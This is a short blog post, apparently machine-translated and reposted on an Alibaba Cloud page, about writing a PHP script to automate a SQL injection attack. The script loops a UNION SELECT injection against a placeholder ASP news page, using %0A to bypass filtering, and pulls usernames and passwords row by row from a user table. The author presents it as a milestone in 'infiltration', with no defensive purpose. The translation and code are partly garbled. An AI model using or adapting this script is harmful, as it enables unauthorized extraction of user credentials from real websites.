Write a PHP small script-assisted penetration test

Source: Internet
Author: User

Because of an injection to crawl some data, and then write a small script, can write scripts to assist infiltration, is also considered a milestone. Ha ha haha

<?PHP$num= 1; while($num<= 39) {$web _url= "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0 AFROM%0A (select%0atop%0a1%0auser_username,user_phone%0afrom%0a (select%0atop%0a ").$num. "%0 Auser_username,user_phone%0afrom%0azy_user%0awhere%0a1=1%0aorder%0aby%0auser_username)%0At%0Aorder%0Aby%0Auser _USERNAME%0ADESC) T ";$curl=curl_init (); curl_setopt ($curl, Curlopt_url,$web _url); curl_setopt ($curl, curlopt_returntransfer,1);$html _code= Curl_exec ($curl);$re= "/<div class=\" helpcontent\ ">[\s\s]*div>/u";//u Cancel greedy modeif(Preg_match_all($re,$html _code,$arr)){    Print_r($arr[0]);} Curl_close ($curl);$num=$num+ 1;Echo"<br/>";} ?>

Here's the biggest problem or a regular match. Match that line break. Because this is the HTML tag.

  <div class= "News_list fr" > 

Visible matches have a newline and a lot of spaces.

Then write a half-day write the regular is not written out. The thief was embarrassed.

Write a PHP small script-assisted penetration test

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.